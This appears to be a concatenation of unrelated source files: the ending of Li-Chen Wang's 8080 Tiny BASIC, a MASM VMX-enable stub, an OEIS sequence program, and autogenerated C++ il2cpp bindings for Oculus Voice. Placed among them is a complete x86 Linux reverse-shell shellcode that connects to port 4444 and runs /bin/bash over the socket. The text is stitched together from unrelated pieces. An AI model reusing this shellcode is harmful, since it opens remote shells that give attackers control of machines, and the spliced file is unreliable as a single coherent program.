RZ ;DE = HL, RETURN
LDAX D ;GET ONE BYTE
STAX B ;MOVE IT
INX D ;INCREASE BOTH POINTERS
INX B
JMP MVUP ;UNTIL DONE
;
MVDOWN: MOV A,B ;*** MVDOWN ***
SUB D ;TEST IF DE = BC
JNZ MD1 ;NO, GO MOVE
MOV A,C ;MAYBE, OTHER BYTE?
SUB E
RZ ;YES, RETURN
MD1: DCX D ;ELSE MOVE A BYTE
DCX H ;BUT FIRST DECREASE
LDAX D ;BOTH POINTERS AND
MOV M,A ;THEN DO IT
JMP MVDOWN ;LOOP BACK
;
POPA: POP B ;BC = RETURN ADDR.
POP H ;RESTORE LOPVAR, BUT
SHLD LOPVAR ;=0 MEANS NO MORE
MOV A,H
ORA L
JZ PP1 ;YEP, GO RETURN
POP H ;NOP, RESTORE OTHERS
SHLD LOPINC
POP H
SHLD LOPLMT
POP H
SHLD LOPLN
POP H
SHLD LOPPT
PP1: PUSH B ;BC = RETURN ADDR.
RET
;
PUSHA: LXI H,STKLMT ;*** PUSHA ***
CALL CHGSGN
POP B ;BC=RETURN ADDRESS
DAD SP ;IS STACK NEAR THE TOP?
JNC QSORRY ;YES, SORRY FOR THAT
LHLD LOPVAR ;ELSE SAVE LOOP VAR'S
MOV A,H ;BUT IF LOPVAR IS 0
ORA L ;THAT WILL BE ALL
JZ PU1
LHLD LOPPT ;ELSE, MORE TO SAVE
PUSH H
LHLD LOPLN
PUSH H
LHLD LOPLMT
PUSH H
LHLD LOPINC
PUSH H
LHLD LOPVAR
PU1: PUSH H
PUSH B ;BC = RETURN ADDR.
RET
;
;*************************************************************
;*
;* *** OUTC *** & CHKIO ***
;*
;* THESE ARE THE ONLY I/O ROUTINES IN TBI.
;* 'OUTC' IS CONTROLLED BY A SOFTWARE SWITCH 'OCSW'. IF OCSW=0
;* 'OUTC' WILL JUST RETURN TO THE CALLER. IF OCSW IS NOT 0,
;* IT WILL OUTPUT THE BYTE IN A. IF THAT IS A CR, A LF IS ALSO
;* SEND OUT. ONLY THE FLAGS MAY BE CHANGED AT RETURN. ALL REG.
;* ARE RESTORED.
;*
;* 'CHKIO' CHECKS THE INPUT. IF NO INPUT, IT WILL RETURN TO
;* THE CALLER WITH THE Z FLAG SET. IF THERE IS INPUT, Z FLAG
;* IS CLEARED AND THE INPUT BYTE IS IN A. HOWEVER, IF THE
;* INPUT IS A CONTROL-O, THE 'OCSW' SWITCH IS COMPLIMENTED, AND
;* Z FLAG IS RETURNED. IF A CONTROL-C IS READ, 'CHKIO' WILL
;* RESTART TBI AND DO NOT RETURN TO THE CALLER.
;*
;OUTC: PUSH PSW ;THIS IS AT LOC. 10
; LDA OCSW ;CHECK SOFTWARE SWITCH
; ORA A
OC2: JNZ OC3 ;IT IS ON
POP PSW ;IT IS OFF
RET ;RESTORE AF AND RETURN
OC3: IN 0 ;COME HERE TO DO OUTPUT
ANI 02H ;STATUS BIT
JZ OC3 ;NOT READY, WAIT
POP PSW ;READY, GET OLD A BACK
OUT 1 ;AND SEND IT OUT
CPI CR ;WAS IT CR?
RNZ ;NO, FINISHED
MVI A,LF ;YES, WE SEND LF TOO
RST 2 ;THIS IS RECURSIVE
MVI A,CR ;GET CR BACK IN A
RET
;
CHKIO: IN 0 ;*** CHKIO ***
NOP ;STATUS BIT FLIPPED?
ANI 20H ;MASK STATUS BIT
RZ ;NOT READY, RETURN "Z"
IN 1 ;READY, READ DATA
ANI 7FH ;MASK BIT 7 OFF
CPI CNTLO ;IS IT CONTROL-O?
JNZ CI1 ;NO, MORE CHECKING
LDA OCSW ;CONTROL-O FLIPS OCSW
CMA ;ON TO OFF, OFF TO ON
STA OCSW
JMP CHKIO ;GET ANOTHER INPUT
CI1: CPI CNTLC ;IS IT CONTROL-C?
RNZ ;NO, RETURN "NZ"
RST 0 ;YES, RESTART TBI
;
DB 'YOU MAY NEED THIS SPACE TO'
DB 'PATCH UP THE I/O ROUTINES,'
DB 'TO FIX UP BUGS, OR TO ADD'
DB 'MORE COMMANDS AND FUNCTIONS.'
DB 'SKY (SPACE) IS THE LIMIT.'
DB 'GOOD LUCK AND GOOD BYE.'
DB 'LICHEN WANG, 10 JUNE 76'
;
LSTROM EQU $ ;ALL ABOVE CAN BE ROM
ORG 0800H ;HERE DOWN MUST BE RAM
OCSW: DB 0FFH ;SWITCH FOR OUTPUT
CURRNT: DW 0 ;POINTS TO CURRENT LINE
STKGOS: DW 0 ;SAVES SP IN 'GOSUB'
VARNXT EQU $ ;TEMP STORAGE
STKINP: DW 0 ;SAVES SP IN 'INPUT'
LOPVAR: DW 0 ;'FOR' LOOP SAVE AREA
LOPINC: DW 0 ;INCREMENT
LOPLMT: DW 0 ;LIMIT
LOPLN: DW 0 ;LINE NUMBER
LOPPT: DW 0 ;TEXT POINTER
RANPNT: DW START ;RANDOM NUMBER POINTER
TXTUNF: DW TXTBGN ;->UNFILLED TEXT AREA
TXTBGN: DS 1 ;TEXT SAVE AREA BEGINS
ORG 1F00H
TXTEND EQU $ ;TEXT SAVE AREA ENDS
VARBGN: DS 2*27 ;VARIABLE @(0)
DS 1 ;EXTRA BYTE FOR BUFFER
BUFFER: DS 72 ;INPUT BUFFER
BUFEND EQU $ ;BUFFER ENDS
DS 40 ;EXTRA BYTES FOR STACK
STKLMT EQU $ ;TOP LIMIT FOR STACK
ORG 2000H
STACK EQU $ ;STACK STARTS HERE
END
|
PUBLIC AsmEnableVmxOperation
PUBLIC AsmVmxVmcall
.code _text
;------------------------------------------------------------------------
AsmEnableVmxOperation PROC PUBLIC
push rax ; Save the state
xor rax,rax ; Clear the RAX
mov rax,cr4
or rax,02000h ; Set the 14th bit
mov cr4,rax
pop rax ; Restore the state
ret
AsmEnableVmxOperation ENDP
;------------------------------------------------------------------------
AsmVmxVmcall PROC
vmcall ; VmxVmcallHandler(UINT64 VmcallNumber, UINT64 OptionalParam1, UINT64 OptionalParam2, UINT64 OptionalParam3)
ret ; Return type is NTSTATUS and it's on RAX from the previous function, no need to change anything
AsmVmxVmcall ENDP
;------------------------------------------------------------------------
END |
global _start
section .text
_start:
; Socket()
mov eax, 102 ;socket syscall #
mov ebx, 1 ;socket subfunction #
push 0
push 1
push 2 ; same arguments as the tcp bind assembly
mov ecx, esp ; put stack pointer in ecx
int 0x80 ;interrupt
mov edi, eax ; saving file descriptor (return value)
; Connect()
mov eax, 102 ; socket syscall again
mov ebx, 3 ; subfunction number for 'connect'
push dword 0x0100007F ; IP address 127.0.0.1
push word 0x5C11 ; port 4444
push word 2 ; AF_INET
mov ecx, esp
push 16 ; addrlen
push ecx ; sockaddr struct
push edi ; sockfd (file descriptor, return value from socket())
mov ecx, esp ; stack pointer into ecx
int 0x80 ; interrupt
mov ebx, eax ; file descriptor into ebx because its the first arg
mov ecx, 0; stdin
mov eax, 63 ; syscall # for dup2()
int 0x80
mov eax, 63
mov ecx, 1; stdout
int 0x80
mov eax, 63
mov ecx, 2; stderr
int 0x80
push dword 0 ; padding/ zero termination for string
push 0x68736162 ; "////bin/bash"; backwards
push 0x2f6e6962
push 0x2f2f2f2f
mov ebx, esp ; mov the first arg, filename (path to bash) into ebx
mov edx, 0 ; envp = NULL
mov ecx, 0 ; argv = NULL
mov eax, 11 ; syscall # for execve
int 0x80
|
; A157951: a(n) = 128*n + 1.
; 129,257,385,513,641,769,897,1025,1153,1281,1409,1537,1665,1793,1921,2049,2177,2305,2433,2561,2689,2817,2945,3073,3201,3329,3457,3585,3713,3841,3969,4097,4225,4353,4481,4609,4737,4865,4993,5121,5249,5377,5505,5633,5761,5889,6017,6145,6273,6401,6529,6657,6785,6913,7041,7169,7297,7425,7553,7681,7809,7937,8065,8193,8321,8449,8577,8705,8833,8961,9089,9217,9345,9473,9601,9729,9857,9985,10113,10241,10369,10497,10625,10753,10881,11009,11137,11265,11393,11521,11649,11777,11905,12033,12161,12289,12417
mul $0,128
add $0,129
|
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: UnityEngine.XR.XRMeshSubsystemDescriptor
#include "UnityEngine/XR/XRMeshSubsystemDescriptor.hpp"
// Including type: UnityEngine.XR.XRMeshSubsystem
#include "UnityEngine/XR/XRMeshSubsystem.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: UnityEngine.XR.Provider.XRStats
#include "UnityEngine/XR/Provider/XRStats.hpp"
// Including type: UnityEngine.IntegratedSubsystem
#include "UnityEngine/IntegratedSubsystem.hpp"
// Including type: System.IntPtr
#include "System/IntPtr.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated method: UnityEngine.XR.Provider.XRStats.TryGetStat
bool UnityEngine::XR::Provider::XRStats::TryGetStat(::UnityEngine::IntegratedSubsystem* xrSubsystem, ::StringW tag, ByRef<float> value) {
static auto ___internal__logger = ::Logger::get().WithContext("::UnityEngine::XR::Provider::XRStats::TryGetStat");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("UnityEngine.XR.Provider", "XRStats", "TryGetStat", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(xrSubsystem), ::il2cpp_utils::ExtractType(tag), ::il2cpp_utils::ExtractIndependentType<float&>()})));
return ::il2cpp_utils::RunMethodRethrow<bool, false>(static_cast<Il2CppObject*>(nullptr), ___internal__method, xrSubsystem, tag, byref(value));
}
// Autogenerated method: UnityEngine.XR.Provider.XRStats.TryGetStat_Internal
bool UnityEngine::XR::Provider::XRStats::TryGetStat_Internal(::System::IntPtr ptr, ::StringW tag, ByRef<float> value) {
static auto ___internal__logger = ::Logger::get().WithContext("::UnityEngine::XR::Provider::XRStats::TryGetStat_Internal");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("UnityEngine.XR.Provider", "XRStats", "TryGetStat_Internal", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(ptr), ::il2cpp_utils::ExtractType(tag), ::il2cpp_utils::ExtractIndependentType<float&>()})));
return ::il2cpp_utils::RunMethodRethrow<bool, false>(static_cast<Il2CppObject*>(nullptr), ___internal__method, ptr, tag, byref(value));
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: Oculus.Voice.AppBuiltIns
#include "Oculus/Voice/AppBuiltIns.hpp"
// Including type: System.Collections.Generic.Dictionary`2
#include "System/Collections/Generic/Dictionary_2.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated static field getter
// Get static field: static public System.String builtInPrefix
::StringW Oculus::Voice::AppBuiltIns::_get_builtInPrefix() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppBuiltIns::_get_builtInPrefix");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::StringW>("Oculus.Voice", "AppBuiltIns", "builtInPrefix"));
}
// Autogenerated static field setter
// Set static field: static public System.String builtInPrefix
void Oculus::Voice::AppBuiltIns::_set_builtInPrefix(::StringW value) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppBuiltIns::_set_builtInPrefix");
THROW_UNLESS(il2cpp_utils::SetFieldValue("Oculus.Voice", "AppBuiltIns", "builtInPrefix", value));
}
// Autogenerated static field getter
// Get static field: static private System.String modelName
::StringW Oculus::Voice::AppBuiltIns::_get_modelName() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppBuiltIns::_get_modelName");
return THROW_UNLESS(il2cpp_utils::GetFieldValue<::StringW>("Oculus.Voice", "AppBuiltIns", "modelName"));
}
// Autogenerated static field setter
// Set static field: static private System.String modelName
void Oculus::Voice::AppBuiltIns::_set_modelName(::StringW value) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppBuiltIns::_set_modelName");
THROW_UNLESS(il2cpp_utils::SetFieldValue("Oculus.Voice", "AppBuiltIns", "modelName", value));
}
// Autogenerated static field getter
// Get static field: static public readonly System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.Dictionary`2<System.String,System.String>> apps
::System::Collections::Generic::Dictionary_2<::StringW, ::System::Collections::Generic::Dictionary_2<::StringW, ::StringW>*>* Oculus::Voice::AppBuiltIns::_get_apps() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppBuiltIns::_get_apps");
return THROW_UNLESS((il2cpp_utils::GetFieldValue<::System::Collections::Generic::Dictionary_2<::StringW, ::System::Collections::Generic::Dictionary_2<::StringW, ::StringW>*>*>("Oculus.Voice", "AppBuiltIns", "apps")));
}
// Autogenerated static field setter
// Set static field: static public readonly System.Collections.Generic.Dictionary`2<System.String,System.Collections.Generic.Dictionary`2<System.String,System.String>> apps
void Oculus::Voice::AppBuiltIns::_set_apps(::System::Collections::Generic::Dictionary_2<::StringW, ::System::Collections::Generic::Dictionary_2<::StringW, ::StringW>*>* value) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppBuiltIns::_set_apps");
THROW_UNLESS(il2cpp_utils::SetFieldValue("Oculus.Voice", "AppBuiltIns", "apps", value));
}
// Autogenerated method: Oculus.Voice.AppBuiltIns.get_appNames
::ArrayW<::StringW> Oculus::Voice::AppBuiltIns::get_appNames() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppBuiltIns::get_appNames");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Oculus.Voice", "AppBuiltIns", "get_appNames", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
return ::il2cpp_utils::RunMethodRethrow<::ArrayW<::StringW>, false>(static_cast<Il2CppObject*>(nullptr), ___internal__method);
}
// Autogenerated method: Oculus.Voice.AppBuiltIns..cctor
void Oculus::Voice::AppBuiltIns::_cctor() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppBuiltIns::.cctor");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Oculus.Voice", "AppBuiltIns", ".cctor", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
::il2cpp_utils::RunMethodRethrow<void, false>(static_cast<Il2CppObject*>(nullptr), ___internal__method);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: Oculus.Voice.AppVoiceExperience
#include "Oculus/Voice/AppVoiceExperience.hpp"
// Including type: Facebook.WitAi.Configuration.WitRuntimeConfiguration
#include "Facebook/WitAi/Configuration/WitRuntimeConfiguration.hpp"
// Including type: Oculus.Voice.Interfaces.IPlatformVoiceService
#include "Oculus/Voice/Interfaces/IPlatformVoiceService.hpp"
// Including type: Facebook.WitAi.IVoiceService
#include "Facebook/WitAi/IVoiceService.hpp"
// Including type: Facebook.WitAi.Interfaces.ITranscriptionProvider
#include "Facebook/WitAi/Interfaces/ITranscriptionProvider.hpp"
// Including type: Facebook.WitAi.Configuration.WitRequestOptions
#include "Facebook/WitAi/Configuration/WitRequestOptions.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated instance field getter
// Get instance field: private Facebook.WitAi.Configuration.WitRuntimeConfiguration witRuntimeConfiguration
[[deprecated("Use field access instead!")]] ::Facebook::WitAi::Configuration::WitRuntimeConfiguration*& Oculus::Voice::AppVoiceExperience::dyn_witRuntimeConfiguration() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppVoiceExperience::dyn_witRuntimeConfiguration");
auto ___internal__instance = this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "witRuntimeConfiguration"))->offset;
return *reinterpret_cast<::Facebook::WitAi::Configuration::WitRuntimeConfiguration**>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated instance field getter
// Get instance field: private Oculus.Voice.Interfaces.IPlatformVoiceService platformService
[[deprecated("Use field access instead!")]] ::Oculus::Voice::Interfaces::IPlatformVoiceService*& Oculus::Voice::AppVoiceExperience::dyn_platformService() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppVoiceExperience::dyn_platformService");
auto ___internal__instance = this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "platformService"))->offset;
return *reinterpret_cast<::Oculus::Voice::Interfaces::IPlatformVoiceService**>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated instance field getter
// Get instance field: private Facebook.WitAi.IVoiceService voiceServiceImpl
[[deprecated("Use field access instead!")]] ::Facebook::WitAi::IVoiceService*& Oculus::Voice::AppVoiceExperience::dyn_voiceServiceImpl() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppVoiceExperience::dyn_voiceServiceImpl");
auto ___internal__instance = this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "voiceServiceImpl"))->offset;
return *reinterpret_cast<::Facebook::WitAi::IVoiceService**>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated method: Oculus.Voice.AppVoiceExperience.get_RuntimeConfiguration
::Facebook::WitAi::Configuration::WitRuntimeConfiguration* Oculus::Voice::AppVoiceExperience::get_RuntimeConfiguration() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppVoiceExperience::get_RuntimeConfiguration");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Oculus::Voice::AppVoiceExperience*), 31));
return ::il2cpp_utils::RunMethodRethrow<::Facebook::WitAi::Configuration::WitRuntimeConfiguration*, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.AppVoiceExperience.set_RuntimeConfiguration
void Oculus::Voice::AppVoiceExperience::set_RuntimeConfiguration(::Facebook::WitAi::Configuration::WitRuntimeConfiguration* value) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppVoiceExperience::set_RuntimeConfiguration");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "set_RuntimeConfiguration", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(value)})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, value);
}
// Autogenerated method: Oculus.Voice.AppVoiceExperience.get_HasPlatformIntegrations
bool Oculus::Voice::AppVoiceExperience::get_HasPlatformIntegrations() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppVoiceExperience::get_HasPlatformIntegrations");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_HasPlatformIntegrations", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
return ::il2cpp_utils::RunMethodRethrow<bool, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.AppVoiceExperience.Start
void Oculus::Voice::AppVoiceExperience::Start() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppVoiceExperience::Start");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Start", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.AppVoiceExperience.InitVoiceSDK
void Oculus::Voice::AppVoiceExperience::InitVoiceSDK() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppVoiceExperience::InitVoiceSDK");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "InitVoiceSDK", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.AppVoiceExperience.RevertToWitUnity
void Oculus::Voice::AppVoiceExperience::RevertToWitUnity() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppVoiceExperience::RevertToWitUnity");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "RevertToWitUnity", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.AppVoiceExperience.OnEnable
void Oculus::Voice::AppVoiceExperience::OnEnable() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppVoiceExperience::OnEnable");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "OnEnable", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.AppVoiceExperience.get_Active
bool Oculus::Voice::AppVoiceExperience::get_Active() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppVoiceExperience::get_Active");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Facebook::WitAi::VoiceService*), 18));
return ::il2cpp_utils::RunMethodRethrow<bool, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.AppVoiceExperience.get_IsRequestActive
bool Oculus::Voice::AppVoiceExperience::get_IsRequestActive() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppVoiceExperience::get_IsRequestActive");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Facebook::WitAi::VoiceService*), 19));
return ::il2cpp_utils::RunMethodRethrow<bool, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.AppVoiceExperience.get_TranscriptionProvider
::Facebook::WitAi::Interfaces::ITranscriptionProvider* Oculus::Voice::AppVoiceExperience::get_TranscriptionProvider() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppVoiceExperience::get_TranscriptionProvider");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Facebook::WitAi::VoiceService*), 20));
return ::il2cpp_utils::RunMethodRethrow<::Facebook::WitAi::Interfaces::ITranscriptionProvider*, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.AppVoiceExperience.set_TranscriptionProvider
void Oculus::Voice::AppVoiceExperience::set_TranscriptionProvider(::Facebook::WitAi::Interfaces::ITranscriptionProvider* value) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppVoiceExperience::set_TranscriptionProvider");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Facebook::WitAi::VoiceService*), 21));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, value);
}
// Autogenerated method: Oculus.Voice.AppVoiceExperience.get_MicActive
bool Oculus::Voice::AppVoiceExperience::get_MicActive() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppVoiceExperience::get_MicActive");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Facebook::WitAi::VoiceService*), 22));
return ::il2cpp_utils::RunMethodRethrow<bool, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.AppVoiceExperience.get_ShouldSendMicData
bool Oculus::Voice::AppVoiceExperience::get_ShouldSendMicData() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppVoiceExperience::get_ShouldSendMicData");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Facebook::WitAi::VoiceService*), 23));
return ::il2cpp_utils::RunMethodRethrow<bool, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.AppVoiceExperience.Activate
void Oculus::Voice::AppVoiceExperience::Activate() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppVoiceExperience::Activate");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Facebook::WitAi::VoiceService*), 24));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.AppVoiceExperience.Activate
void Oculus::Voice::AppVoiceExperience::Activate(::Facebook::WitAi::Configuration::WitRequestOptions* options) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppVoiceExperience::Activate");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Facebook::WitAi::VoiceService*), 25));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, options);
}
// Autogenerated method: Oculus.Voice.AppVoiceExperience.ActivateImmediately
void Oculus::Voice::AppVoiceExperience::ActivateImmediately() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppVoiceExperience::ActivateImmediately");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Facebook::WitAi::VoiceService*), 26));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.AppVoiceExperience.ActivateImmediately
void Oculus::Voice::AppVoiceExperience::ActivateImmediately(::Facebook::WitAi::Configuration::WitRequestOptions* options) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppVoiceExperience::ActivateImmediately");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Facebook::WitAi::VoiceService*), 27));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, options);
}
// Autogenerated method: Oculus.Voice.AppVoiceExperience.Deactivate
void Oculus::Voice::AppVoiceExperience::Deactivate() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppVoiceExperience::Deactivate");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Facebook::WitAi::VoiceService*), 28));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.AppVoiceExperience.Activate
void Oculus::Voice::AppVoiceExperience::Activate(::StringW text) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppVoiceExperience::Activate");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Facebook::WitAi::VoiceService*), 29));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, text);
}
// Autogenerated method: Oculus.Voice.AppVoiceExperience.Activate
void Oculus::Voice::AppVoiceExperience::Activate(::StringW text, ::Facebook::WitAi::Configuration::WitRequestOptions* requestOptions) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::AppVoiceExperience::Activate");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Facebook::WitAi::VoiceService*), 30));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, text, requestOptions);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: Oculus.Voice.Interfaces.IPlatformVoiceService
#include "Oculus/Voice/Interfaces/IPlatformVoiceService.hpp"
// Including type: Facebook.WitAi.Configuration.WitRuntimeConfiguration
#include "Facebook/WitAi/Configuration/WitRuntimeConfiguration.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated method: Oculus.Voice.Interfaces.IPlatformVoiceService.get_PlatformSupportsWit
bool Oculus::Voice::Interfaces::IPlatformVoiceService::get_PlatformSupportsWit() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Interfaces::IPlatformVoiceService::get_PlatformSupportsWit");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Oculus::Voice::Interfaces::IPlatformVoiceService*), -1));
return ::il2cpp_utils::RunMethodRethrow<bool, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Interfaces.IPlatformVoiceService.SetRuntimeConfiguration
void Oculus::Voice::Interfaces::IPlatformVoiceService::SetRuntimeConfiguration(::Facebook::WitAi::Configuration::WitRuntimeConfiguration* configuration) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Interfaces::IPlatformVoiceService::SetRuntimeConfiguration");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Oculus::Voice::Interfaces::IPlatformVoiceService*), -1));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, configuration);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: Oculus.Voice.Bindings.Android.VoiceSDKBinding
#include "Oculus/Voice/Bindings/Android/VoiceSDKBinding.hpp"
// Including type: UnityEngine.AndroidJavaObject
#include "UnityEngine/AndroidJavaObject.hpp"
// Including type: Facebook.WitAi.Configuration.WitRequestOptions
#include "Facebook/WitAi/Configuration/WitRequestOptions.hpp"
// Including type: Facebook.WitAi.Configuration.WitRuntimeConfiguration
#include "Facebook/WitAi/Configuration/WitRuntimeConfiguration.hpp"
// Including type: Oculus.Voice.Bindings.Android.VoiceSDKListenerBinding
#include "Oculus/Voice/Bindings/Android/VoiceSDKListenerBinding.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKBinding.get_Active
